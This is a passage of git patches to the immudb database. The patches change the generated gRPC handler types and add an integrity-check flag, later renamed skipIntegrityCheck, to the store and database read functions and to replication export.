"/immudb.schema.ImmuService/Commit", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).Commit(ctx, req.(*emptypb.Empty)) + return srv.(ImmuServiceServer).Commit(ctx, req.(*empty.Empty)) } return interceptor(ctx, in, info, handler) } func _ImmuService_Rollback_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(emptypb.Empty) + in := new(empty.Empty) if err := dec(in); err != nil { return nil, err } @@ -1563,7 +1563,7 @@ func _ImmuService_Rollback_Handler(srv interface{}, ctx context.Context, dec fun FullMethod: "/immudb.schema.ImmuService/Rollback", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).Rollback(ctx, req.(*emptypb.Empty)) + return srv.(ImmuServiceServer).Rollback(ctx, req.(*empty.Empty)) } return interceptor(ctx, in, info, handler) } @@ -1623,7 +1623,7 @@ func _ImmuService_Login_Handler(srv interface{}, ctx context.Context, dec func(i } func _ImmuService_Logout_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(emptypb.Empty) + in := new(empty.Empty) if err := dec(in); err != nil { return nil, err } @@ -1635,7 +1635,7 @@ func _ImmuService_Logout_Handler(srv interface{}, ctx context.Context, dec func( FullMethod: "/immudb.schema.ImmuService/Logout", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).Logout(ctx, req.(*emptypb.Empty)) + return srv.(ImmuServiceServer).Logout(ctx, req.(*empty.Empty)) } return interceptor(ctx, in, info, handler) } @@ -1803,7 +1803,7 @@ func _ImmuService_Count_Handler(srv interface{}, ctx context.Context, dec func(i } func _ImmuService_CountAll_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(emptypb.Empty) + in := new(empty.Empty) if err := dec(in); err != nil { return nil, err } @@ -1815,7 +1815,7 @@ func _ImmuService_CountAll_Handler(srv interface{}, ctx context.Context, dec fun FullMethod: "/immudb.schema.ImmuService/CountAll", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).CountAll(ctx, req.(*emptypb.Empty)) + return srv.(ImmuServiceServer).CountAll(ctx, req.(*empty.Empty)) } return interceptor(ctx, in, info, handler) } @@ -1911,7 +1911,7 @@ func _ImmuService_ServerInfo_Handler(srv interface{}, ctx context.Context, dec f } func _ImmuService_Health_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(emptypb.Empty) + in := new(empty.Empty) if err := dec(in); err != nil { return nil, err } @@ -1923,13 +1923,13 @@ func _ImmuService_Health_Handler(srv interface{}, ctx context.Context, dec func( FullMethod: "/immudb.schema.ImmuService/Health", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).Health(ctx, req.(*emptypb.Empty)) + return srv.(ImmuServiceServer).Health(ctx, req.(*empty.Empty)) } return interceptor(ctx, in, info, handler) } func _ImmuService_DatabaseHealth_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(emptypb.Empty) + in := new(empty.Empty) if err := dec(in); err != nil { return nil, err } @@ -1941,13 +1941,13 @@ func _ImmuService_DatabaseHealth_Handler(srv interface{}, ctx context.Context, d FullMethod: "/immudb.schema.ImmuService/DatabaseHealth", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).DatabaseHealth(ctx, req.(*emptypb.Empty)) + return srv.(ImmuServiceServer).DatabaseHealth(ctx, req.(*empty.Empty)) } return interceptor(ctx, in, info, handler) } func _ImmuService_CurrentState_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(emptypb.Empty) + in := new(empty.Empty) if err := dec(in); err != nil { return nil, err } @@ -1959,7 +1959,7 @@ func _ImmuService_CurrentState_Handler(srv interface{}, ctx context.Context, dec FullMethod: "/immudb.schema.ImmuService/CurrentState", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).CurrentState(ctx, req.(*emptypb.Empty)) + return srv.(ImmuServiceServer).CurrentState(ctx, req.(*empty.Empty)) } return interceptor(ctx, in, info, handler) } @@ -2163,7 +2163,7 @@ func _ImmuService_DeleteDatabase_Handler(srv interface{}, ctx context.Context, d } func _ImmuService_DatabaseList_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(emptypb.Empty) + in := new(empty.Empty) if err := dec(in); err != nil { return nil, err } @@ -2175,7 +2175,7 @@ func _ImmuService_DatabaseList_Handler(srv interface{}, ctx context.Context, dec FullMethod: "/immudb.schema.ImmuService/DatabaseList", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).DatabaseList(ctx, req.(*emptypb.Empty)) + return srv.(ImmuServiceServer).DatabaseList(ctx, req.(*empty.Empty)) } return interceptor(ctx, in, info, handler) } @@ -2253,7 +2253,7 @@ func _ImmuService_UpdateDatabaseV2_Handler(srv interface{}, ctx context.Context, } func _ImmuService_GetDatabaseSettings_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(emptypb.Empty) + in := new(empty.Empty) if err := dec(in); err != nil { return nil, err } @@ -2265,7 +2265,7 @@ func _ImmuService_GetDatabaseSettings_Handler(srv interface{}, ctx context.Conte FullMethod: "/immudb.schema.ImmuService/GetDatabaseSettings", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).GetDatabaseSettings(ctx, req.(*emptypb.Empty)) + return srv.(ImmuServiceServer).GetDatabaseSettings(ctx, req.(*empty.Empty)) } return interceptor(ctx, in, info, handler) } @@ -2307,7 +2307,7 @@ func _ImmuService_FlushIndex_Handler(srv interface{}, ctx context.Context, dec f } func _ImmuService_CompactIndex_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(emptypb.Empty) + in := new(empty.Empty) if err := dec(in); err != nil { return nil, err } @@ -2319,7 +2319,7 @@ func _ImmuService_CompactIndex_Handler(srv interface{}, ctx context.Context, dec FullMethod: "/immudb.schema.ImmuService/CompactIndex", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).CompactIndex(ctx, req.(*emptypb.Empty)) + return srv.(ImmuServiceServer).CompactIndex(ctx, req.(*empty.Empty)) } return interceptor(ctx, in, info, handler) } @@ -2591,7 +2591,7 @@ func _ImmuService_SQLQuery_Handler(srv interface{}, ctx context.Context, dec fun } func _ImmuService_ListTables_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(emptypb.Empty) + in := new(empty.Empty) if err := dec(in); err != nil { return nil, err } @@ -2603,7 +2603,7 @@ func _ImmuService_ListTables_Handler(srv interface{}, ctx context.Context, dec f FullMethod: "/immudb.schema.ImmuService/ListTables", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).ListTables(ctx, req.(*emptypb.Empty)) + return srv.(ImmuServiceServer).ListTables(ctx, req.(*empty.Empty)) } return interceptor(ctx, in, info, handler) } diff --git a/pkg/database/all_ops.go b/pkg/database/all_ops.go index f8965ca7a0..1d1ae52c2f 100644 --- a/pkg/database/all_ops.go +++ b/pkg/database/all_ops.go @@ -106,7 +106,7 @@ func (d *db) ExecAll(ctx context.Context, req *schema.ExecAllRequest) (*schema.T if !req.NoWait { // check key does not exists or it's already a reference - entry, err := d.getAtTx(EncodeKey(x.Ref.Key), 0, 0, index, 0) + entry, err := d.getAtTx(EncodeKey(x.Ref.Key), 0, 0, index, 0, true) if err != nil && err != store.ErrKeyNotFound { return nil, nil, err } @@ -116,7 +116,7 @@ func (d *db) ExecAll(ctx context.Context, req *schema.ExecAllRequest) (*schema.T if !exists || x.Ref.AtTx > 0 { // check referenced key exists and it's not a reference - refEntry, err := d.getAtTx(EncodeKey(x.Ref.ReferencedKey), x.Ref.AtTx, 0, index, 0) + refEntry, err := d.getAtTx(EncodeKey(x.Ref.ReferencedKey), x.Ref.AtTx, 0, index, 0, true) if err != nil { return nil, nil, err } @@ -169,7 +169,7 @@ func (d *db) ExecAll(ctx context.Context, req *schema.ExecAllRequest) (*schema.T if !req.NoWait { if !exists || x.ZAdd.AtTx > 0 { // check referenced key exists and it's not a reference - refEntry, err := d.getAtTx(EncodeKey(x.ZAdd.Key), x.ZAdd.AtTx, 0, index, 0) + refEntry, err := d.getAtTx(EncodeKey(x.ZAdd.Key), x.ZAdd.AtTx, 0, index, 0, true) if err != nil { return nil, nil, err } diff --git a/pkg/database/database.go b/pkg/database/database.go index aa9ce22d80..ff03c9f9b4 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -517,14 +517,14 @@ func (d *db) Get(ctx context.Context, req *schema.KeyRequest) (*schema.Entry, er } if req.AtRevision != 0 { - return d.getAtRevision(EncodeKey(req.Key), req.AtRevision) + return d.getAtRevision(EncodeKey(req.Key), req.AtRevision, true) } - return d.getAtTx(EncodeKey(req.Key), req.AtTx, 0, d.st, 0) + return d.getAtTx(EncodeKey(req.Key), req.AtTx, 0, d.st, 0, true) } -func (d *db) get(key []byte, index store.KeyIndex) (*schema.Entry, error) { - return d.getAtTx(key, 0, 0, index, 0) +func (d *db) get(key []byte, index store.KeyIndex, checkIntegrity bool) (*schema.Entry, error) { + return d.getAtTx(key, 0, 0, index, 0, checkIntegrity) } func (d *db) getAtTx( @@ -533,6 +533,7 @@ func (d *db) getAtTx( resolved int, index store.KeyIndex, revision uint64, + checkIntegrity bool, ) (entry *schema.Entry, err error) { var txID uint64 var val []byte @@ -559,16 +560,16 @@ func (d *db) getAtTx( } else { txID = atTx - md, val, err = d.readMetadataAndValue(key, atTx) + md, val, err = d.readMetadataAndValue(key, atTx, checkIntegrity) if err != nil { return nil, err } } - return d.resolveValue(key, val, resolved, txID, md, index, revision) + return d.resolveValue(key, val, resolved, txID, md, index, revision, checkIntegrity) } -func (d *db) getAtRevision(key []byte, atRevision int64) (entry *schema.Entry, err error) { +func (d *db) getAtRevision(key []byte, atRevision int64, checkIntegrity bool) (entry *schema.Entry, err error) { var offset uint64 var desc bool @@ -592,7 +593,7 @@ func (d *db) getAtRevision(key []byte, atRevision int64) (entry *schema.Entry, e atRevision = int64(hCount) + atRevision } - entry, err = d.getAtTx(key, txs[0], 0, d.st, uint64(atRevision)) + entry, err = d.getAtTx(key, txs[0], 0, d.st, uint64(atRevision), checkIntegrity) if err != nil { return nil, err } @@ -608,6 +609,7 @@ func (d *db) resolveValue( md *store.KVMetadata, index store.KeyIndex, revision uint64, + checkIntegrity bool, ) (entry *schema.Entry, err error) { if md != nil && md.Deleted() { return nil, store.ErrKeyNotFound @@ -637,7 +639,7 @@ func (d *db) resolveValue( copy(refKey, val[1+8:]) if index != nil { - entry, err = d.getAtTx(refKey, atTx, resolved+1, index, 0) + entry, err = d.getAtTx(refKey, atTx, resolved+1, index, 0, checkIntegrity) if err != nil { return nil, err } @@ -668,8 +670,8 @@ func (d *db) resolveValue( }, nil } -func (d *db) readMetadataAndValue(key []byte, atTx uint64) (*store.KVMetadata, []byte, error) { - entry, _, err := d.st.ReadTxEntry(atTx, key) +func (d *db) readMetadataAndValue(key []byte, atTx uint64, checkIntegrity bool) (*store.KVMetadata, []byte, error) { + entry, _, err := d.st.ReadTxEntry(atTx, key, checkIntegrity) if err != nil { return nil, nil, err } @@ -732,7 +734,7 @@ func (d *db) VerifiableSet(ctx context.Context, req *schema.VerifiableSetRequest return nil, err } - err = d.st.ReadTx(uint64(txhdr.Id), lastTx) + err = d.st.ReadTx(uint64(txhdr.Id), true, lastTx) if err != nil { return nil, err } @@ -742,7 +744,7 @@ func (d *db) VerifiableSet(ctx context.Context, req *schema.VerifiableSetRequest if req.ProveSinceTx == 0 { prevTxHdr = lastTx.Header() } else { - prevTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false) + prevTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false, true) if err != nil { return nil, err } @@ -793,7 +795,7 @@ func (d *db) VerifiableGet(ctx context.Context, req *schema.VerifiableGetRequest } defer d.releaseTx(tx) - err = d.st.ReadTx(vTxID, tx) + err = d.st.ReadTx(vTxID, true, tx) if err != nil { return nil, err } @@ -803,7 +805,7 @@ func (d *db) VerifiableGet(ctx context.Context, req *schema.VerifiableGetRequest if req.ProveSinceTx == 0 { rootTxHdr = tx.Header() } else { - rootTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false) + rootTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false, true) if err != nil { return nil, err } @@ -908,7 +910,7 @@ func (d *db) GetAll(ctx context.Context, req *schema.KeyListRequest) (*schema.En list := &schema.Entries{} for _, key := range req.Keys { - e, err := d.get(EncodeKey(key), snap) + e, err := d.get(EncodeKey(key), snap, true) if err == nil || err == store.ErrKeyNotFound { if e != nil { list.Entries = append(list.Entries, e) @@ -960,12 +962,12 @@ func (d *db) TxByID(ctx context.Context, req *schema.TxRequest) (*schema.Tx, err } // key-value inclusion proof - err = d.st.ReadTx(req.Tx, tx) + err = d.st.ReadTx(req.Tx, true, tx) if err != nil { return nil, err } - return d.serializeTx(tx, req.EntriesSpec, snap) + return d.serializeTx(tx, req.EntriesSpec, snap, true) } func (d *db) snapshotSince(ctx context.Context, txID uint64) (*store.Snapshot, error) { @@ -983,7 +985,7 @@ func (d *db) snapshotSince(ctx context.Context, txID uint64) (*store.Snapshot, e return d.st.SnapshotMustIncludeTxID(ctx, waitUntilTx) } -func (d *db) serializeTx(tx *store.Tx, spec *schema.EntriesSpec, snap *store.Snapshot) (*schema.Tx, error) { +func (d *db) serializeTx(tx *store.Tx, spec *schema.EntriesSpec, snap *store.Snapshot, checkIntegrity bool) (*schema.Tx, error) { if spec == nil { return schema.TxToProto(tx), nil } @@ -1026,7 +1028,7 @@ func (d *db) serializeTx(tx *store.Tx, spec *schema.EntriesSpec, snap *store.Sna index = snap } - kve, err := d.resolveValue(e.Key(), v, 0, tx.Header().ID, e.Metadata(), index, 0) + kve, err := d.resolveValue(e.Key(), v, 0, tx.Header().ID, e.Metadata(), index, 0, checkIntegrity) if err == store.ErrKeyNotFound || err == store.ErrExpiredEntry { // ignore deleted ones (referenced key may have been deleted) break @@ -1084,7 +1086,7 @@ func (d *db) serializeTx(tx *store.Tx, spec *schema.EntriesSpec, snap *store.Sna var err error if snap != nil { - entry, err = d.getAtTx(key, atTx, 1, snap, 0) + entry, err = d.getAtTx(key, atTx, 1, snap, 0, checkIntegrity) if err == store.ErrKeyNotFound || err == store.ErrExpiredEntry { // ignore deleted ones (referenced key may have been deleted) break @@ -1231,7 +1233,7 @@ func (d *db) ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txb fmt.Errorf("%w: replica commit state diverged from primary's", ErrReplicaDivergedFromPrimary) } - expectedReplicaCommitHdr, err := d.st.ReadTxHeader(req.ReplicaState.CommittedTxID, false) + expectedReplicaCommitHdr, err := d.st.ReadTxHeader(req.ReplicaState.CommittedTxID, false, !req.SkipIntegrityCheck) if err != nil { return nil, committedTxID, committedAlh, err } @@ -1251,7 +1253,7 @@ func (d *db) ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txb fmt.Errorf("%w: replica precommit state diverged from primary's", ErrReplicaDivergedFromPrimary) } - expectedReplicaPrecommitHdr, err := d.st.ReadTxHeader(req.ReplicaState.PrecommittedTxID, true) + expectedReplicaPrecommitHdr, err := d.st.ReadTxHeader(req.ReplicaState.PrecommittedTxID, true, !req.SkipIntegrityCheck) if err != nil { return nil, committedTxID, committedAlh, err } @@ -1299,7 +1301,7 @@ func (d *db) ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txb return nil, mayCommitUpToTxID, mayCommitUpToAlh, err } - txbs, err = d.st.ExportTx(req.Tx, req.AllowPreCommitted, tx) + txbs, err = d.st.ExportTx(req.Tx, req.AllowPreCommitted, !req.SkipIntegrityCheck, tx) if err != nil { return nil, mayCommitUpToTxID, mayCommitUpToAlh, err } @@ -1343,7 +1345,7 @@ func (d *db) AllowCommitUpto(txID uint64, alh [sha256.Size]byte) error { return nil } - hdr, err := d.st.ReadTxHeader(txID, true) + hdr, err := d.st.ReadTxHeader(txID, true, false) if err != nil { return err } @@ -1392,7 +1394,7 @@ func (d *db) VerifiableTxByID(ctx context.Context, req *schema.VerifiableTxReque } defer d.releaseTx(reqTx) - err = d.st.ReadTx(req.Tx, reqTx) + err = d.st.ReadTx(req.Tx, true, reqTx) if err != nil { return nil, err } @@ -1403,7 +1405,7 @@ func (d *db) VerifiableTxByID(ctx context.Context, req *schema.VerifiableTxReque if req.ProveSinceTx == 0 { rootTxHdr = reqTx.Header() } else { - rootTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false) + rootTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false, true) if err != nil { return nil, err } @@ -1422,7 +1424,7 @@ func (d *db) VerifiableTxByID(ctx context.Context, req *schema.VerifiableTxReque return nil, err } - sReqTx, err := d.serializeTx(reqTx, req.EntriesSpec, snap) + sReqTx, err := d.serializeTx(reqTx, req.EntriesSpec, snap, true) if err != nil { return nil, err } @@ -1478,7 +1480,7 @@ func (d *db) TxScan(ctx context.Context, req *schema.TxScanRequest) (*schema.TxL return nil, err } - sTx, err := d.serializeTx(tx, req.EntriesSpec, snap) + sTx, err := d.serializeTx(tx, req.EntriesSpec, snap, true) if err != nil { return nil, err } @@ -1546,7 +1548,7 @@ func (d *db) History(ctx context.Context, req *schema.HistoryRequest) (*schema.E } for i, txID := range txs { - entry, _, err := d.st.ReadTxEntry(txID, key) + entry, _, err := d.st.ReadTxEntry(txID, key, true) if err != nil { return nil, err } diff --git a/pkg/database/reference.go b/pkg/database/reference.go index 30e0a87797..7042b84c9e 100644 --- a/pkg/database/reference.go +++ b/pkg/database/reference.go @@ -53,7 +53,7 @@ func (d *db) SetReference(ctx context.Context, req *schema.ReferenceRequest) (*s } // check key does not exists or it's already a reference - entry, err := d.getAtTx(EncodeKey(req.Key), req.AtTx, 0, d.st, 0) + entry, err := d.getAtTx(EncodeKey(req.Key), req.AtTx, 0, d.st, 0, true) if err != nil && err != store.ErrKeyNotFound { return nil, err } @@ -62,7 +62,7 @@ func (d *db) SetReference(ctx context.Context, req *schema.ReferenceRequest) (*s } // check referenced key exists and it's not a reference - refEntry, err := d.getAtTx(EncodeKey(req.ReferencedKey), req.AtTx, 0, d.st, 0) + refEntry, err := d.getAtTx(EncodeKey(req.ReferencedKey), req.AtTx, 0, d.st, 0, true) if err != nil { return nil, err } @@ -137,7 +137,7 @@ func (d *db) VerifiableSetReference(ctx context.Context, req *schema.VerifiableR return nil, err } - err = d.st.ReadTx(uint64(txMetatadata.Id), lastTx) + err = d.st.ReadTx(uint64(txMetatadata.Id), true, lastTx) if err != nil { return nil, err } @@ -147,7 +147,7 @@ func (d *db) VerifiableSetReference(ctx context.Context, req *schema.VerifiableR if req.ProveSinceTx == 0 { prevTxHdr = lastTx.Header() } else { - prevTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false) + prevTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false, true) if err != nil { return nil, err } diff --git a/pkg/database/scan.go b/pkg/database/scan.go index 61fae7b92c..52673229a9 100644 --- a/pkg/database/scan.go +++ b/pkg/database/scan.go @@ -90,7 +90,7 @@ func (d *db) Scan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries return nil, err } - e, err := d.getAtTx(key, valRef.Tx(), 0, snap, valRef.HC()) + e, err := d.getAtTx(key, valRef.Tx(), 0, snap, valRef.HC(), true) if err == store.ErrKeyNotFound { // ignore deleted ones (referenced key may have been deleted) continue diff --git a/pkg/database/sorted_set.go b/pkg/database/sorted_set.go index bf40f6a392..c0f6a604b6 100644 --- a/pkg/database/sorted_set.go +++ b/pkg/database/sorted_set.go @@ -60,7 +60,7 @@ func (d *db) ZAdd(ctx context.Context, req *schema.ZAddRequest) (*schema.TxHeade // check referenced key exists and it's not a reference key := EncodeKey(req.Key) - refEntry, err := d.getAtTx(key, req.AtTx, 0, d.st, 0) + refEntry, err := d.getAtTx(key, req.AtTx, 0, d.st, 0, true) if err != nil { return nil, err } @@ -206,7 +206,7 @@ func (d *db) ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntr atTx := binary.BigEndian.Uint64(zKey[keyOff+len(key):]) - e, err := d.getAtTx(key, atTx, 1, snap, 0) + e, err := d.getAtTx(key, atTx, 1, snap, 0, true) if err == store.ErrKeyNotFound { // ignore deleted ones (referenced key may have been deleted) continue @@ -257,7 +257,7 @@ func (d *db) VerifiableZAdd(ctx context.Context, req *schema.VerifiableZAddReque return nil, err } - err = d.st.ReadTx(uint64(txMetatadata.Id), lastTx) + err = d.st.ReadTx(uint64(txMetatadata.Id), true, lastTx) if err != nil { return nil, err } @@ -266,7 +266,7 @@ func (d *db) VerifiableZAdd(ctx context.Context, req *schema.VerifiableZAddReque if req.ProveSinceTx == 0 { prevTxHdr = lastTx.Header() } else { - prevTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false) + prevTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false, true) if err != nil { return nil, err } diff --git a/pkg/database/sql.go b/pkg/database/sql.go index 78bdbbd6bd..93c086a0b7 100644 --- a/pkg/database/sql.go +++ b/pkg/database/sql.go @@ -103,7 +103,7 @@ func (d *db) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetR sql.EncodeID(sql.PKIndexID), valbuf.Bytes()) - e, err := d.sqlGetAt(pkKey, req.SqlGetRequest.AtTx, d.st) + e, err := d.sqlGetAt(pkKey, req.SqlGetRequest.AtTx, d.st, true) if err != nil { return nil, err } @@ -115,7 +115,7 @@ func (d *db) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetR defer d.releaseTx(tx) // key-value inclusion proof - err = d.st.ReadTx(e.Tx, tx) + err = d.st.ReadTx(e.Tx, true, tx) if err != nil { return nil, err } @@ -130,7 +130,7 @@ func (d *db) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetR if req.ProveSinceTx == 0 { rootTxHdr = tx.Header() } else { - rootTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false) + rootTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false, true) if err != nil { return nil, err } @@ -188,7 +188,7 @@ func (d *db) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetR }, nil } -func (d *db) sqlGetAt(key []byte, atTx uint64, index store.KeyIndex) (entry *schema.SQLEntry, err error) { +func (d *db) sqlGetAt(key []byte, atTx uint64, index store.KeyIndex, checkIntegrity bool) (entry *schema.SQLEntry, err error) { var txID uint64 var md *store.KVMetadata var val []byte @@ -210,7 +210,7 @@ func (d *db) sqlGetAt(key []byte, atTx uint64, index store.KeyIndex) (entry *sch } else { txID = atTx - md, val, err = d.readMetadataAndValue(key, atTx) + md, val, err = d.readMetadataAndValue(key, atTx, checkIntegrity) if err != nil { return nil, err } diff --git a/pkg/integration/follower_replication_test.go b/pkg/integration/follower_replication_test.go index 559d9f1446..e4a00f2354 100644 --- a/pkg/integration/follower_replication_test.go +++ b/pkg/integration/follower_replication_test.go @@ -348,7 +348,7 @@ func BenchmarkExportTx(b *testing.B) { // create database as primarydb in primary server _, err = client.CreateDatabaseV2(context.Background(), "db1", &schema.DatabaseNullableSettings{ MaxConcurrency: &schema.NullableUint32{Value: 200}, - //VLogCacheSize: &schema.NullableUint32{Value: 0}, // disable vLogCache + VLogCacheSize: &schema.NullableUint32{Value: 0}, // disable vLogCache }) if err != nil { panic(err) @@ -367,10 +367,10 @@ func BenchmarkExportTx(b *testing.B) { // commit some transactions workers := 10 - txsPerWorker := 10 - entriesPerTx := 10 - keyLen := 128 - valLen := 1024 * 200 + txsPerWorker := 100 + entriesPerTx := 100 + keyLen := 40 + valLen := 256 kvs := make([]*schema.KeyValue, entriesPerTx) diff --git a/pkg/replication/replicator.go b/pkg/replication/replicator.go index 79acc2be09..f789ed139c 100644 --- a/pkg/replication/replicator.go +++ b/pkg/replication/replicator.go @@ -328,9 +328,10 @@ func (txr *TxReplicator) fetchNextTx() error { } exportTxStream, err := txr.client.ExportTx(txr.context, &schema.ExportTxRequest{ - Tx: nextTx, - ReplicaState: state, - AllowPreCommitted: syncReplicationEnabled, + Tx: nextTx, + ReplicaState: state, + AllowPreCommitted: syncReplicationEnabled, + SkipIntegrityCheck: true, }) if err != nil { return err From d08cd5586689991fe83488b12dd1aede78a99b07 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 30 Jan 2023 12:58:53 -0300 Subject: [PATCH 0198/1062] chore(embedded/store): skipIntegrityCheck parameter when reading data Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 50 +++++++++++++++-------------- embedded/store/immustore_test.go | 44 ++++++++++++------------- embedded/store/indexer.go | 2 +- embedded/store/key_reader.go | 4 +-- embedded/store/tx.go | 20 ++++++------ embedded/store/tx_reader.go | 24 +++++++------- embedded/store/tx_test.go | 12 +++---- embedded/store/verification_test.go | 8 ++--- pkg/database/database.go | 34 ++++++++++---------- pkg/database/sql.go | 4 +-- 10 files changed, 102 insertions(+), 100 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index e99d25e7c2..c02c107d8d 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -381,7 +381,7 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable tx, _ := txPool.Alloc() - err = tx.readFrom(txReader, true) + err = tx.readFrom(txReader, false) if err != nil { txPool.Release(tx) return nil, fmt.Errorf("corrupted transaction log: could not read the last transaction: %w", err) @@ -405,7 +405,7 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable tx, _ := txPool.Alloc() for { - err = tx.readFrom(txReader, true) + err = tx.readFrom(txReader, false) if err == io.EOF { break } @@ -851,7 +851,7 @@ func (s *ImmuStore) syncBinaryLinking() error { } defer s.releaseAllocTx(tx) - txReader, err := s.newTxReader(s.aht.Size()+1, false, true, true, tx) + txReader, err := s.newTxReader(s.aht.Size()+1, false, true, false, tx) if err != nil { return err } @@ -1839,7 +1839,7 @@ func (s *ImmuStore) DualProof(sourceTxHdr, targetTxHdr *TxHeader) (proof *DualPr } if targetTxHdr.BlTxID > 0 { - targetBlTxHdr, err := s.ReadTxHeader(targetTxHdr.BlTxID, false, true) + targetBlTxHdr, err := s.ReadTxHeader(targetTxHdr.BlTxID, false, false) if err != nil { return nil, err } @@ -2029,8 +2029,8 @@ func (r *slicedReaderAt) ReadAt(bs []byte, off int64) (n int, err error) { return available, nil } -func (s *ImmuStore) ExportTx(txID uint64, allowPrecommitted bool, checkIntegrity bool, tx *Tx) ([]byte, error) { - err := s.readTx(txID, allowPrecommitted, checkIntegrity, tx) +func (s *ImmuStore) ExportTx(txID uint64, allowPrecommitted bool, skipIntegrityCheck bool, tx *Tx) ([]byte, error) { + err := s.readTx(txID, allowPrecommitted, skipIntegrityCheck, tx) if err != nil { return nil, err } @@ -2093,7 +2093,7 @@ func (s *ImmuStore) ExportTx(txID uint64, allowPrecommitted bool, checkIntegrity // val // TODO: improve value reading implementation, get rid of _valBs s._valBsMux.Lock() - _, err = s.readValueAt(s._valBs[:e.vLen], e.vOff, e.hVal, checkIntegrity) + _, err = s.readValueAt(s._valBs[:e.vLen], e.vOff, e.hVal, skipIntegrityCheck) if err != nil && !errors.Is(err, io.EOF) { s._valBsMux.Unlock() return nil, err @@ -2256,7 +2256,7 @@ func (s *ImmuStore) ReplicateTx(ctx context.Context, exportedTx []byte, waitForI v := exportedTx[i : i+tLen] // v[0] == 1 means that the value is truncated // validate that the value is either 0 or 1 - if v != nil && len(v) > 0 && v[0] > 1 { + if len(v) > 0 && v[0] > 1 { return nil, ErrIllegalTruncationArgument } isTruncated = v[0] == 1 @@ -2321,7 +2321,7 @@ func (s *ImmuStore) FirstTxSince(ts time.Time) (*TxHeader, error) { for left < right { middle := left + (right-left)/2 - header, err := s.ReadTxHeader(middle, false, true) + header, err := s.ReadTxHeader(middle, false, false) if err != nil { return nil, err } @@ -2333,7 +2333,7 @@ func (s *ImmuStore) FirstTxSince(ts time.Time) (*TxHeader, error) { } } - header, err := s.ReadTxHeader(left, false, true) + header, err := s.ReadTxHeader(left, false, false) if err != nil { return nil, err } @@ -2352,7 +2352,7 @@ func (s *ImmuStore) LastTxUntil(ts time.Time) (*TxHeader, error) { for left < right { middle := left + ((right-left)+1)/2 - header, err := s.ReadTxHeader(middle, false, true) + header, err := s.ReadTxHeader(middle, false, false) if err != nil { return nil, err } @@ -2364,7 +2364,7 @@ func (s *ImmuStore) LastTxUntil(ts time.Time) (*TxHeader, error) { } } - header, err := s.ReadTxHeader(left, false, true) + header, err := s.ReadTxHeader(left, false, false) if err != nil { return nil, err } @@ -2418,7 +2418,7 @@ func (s *ImmuStore) appendableReaderForTx(txID uint64, allowPrecommitted bool) ( return appendable.NewReaderFrom(txr, txOff, txSize), nil } -func (s *ImmuStore) ReadTx(txID uint64, checkIntegrity bool, tx *Tx) error { +func (s *ImmuStore) ReadTx(txID uint64, skipIntegrityCheck bool, tx *Tx) error { s.mutex.Lock() defer s.mutex.Unlock() @@ -2426,16 +2426,16 @@ func 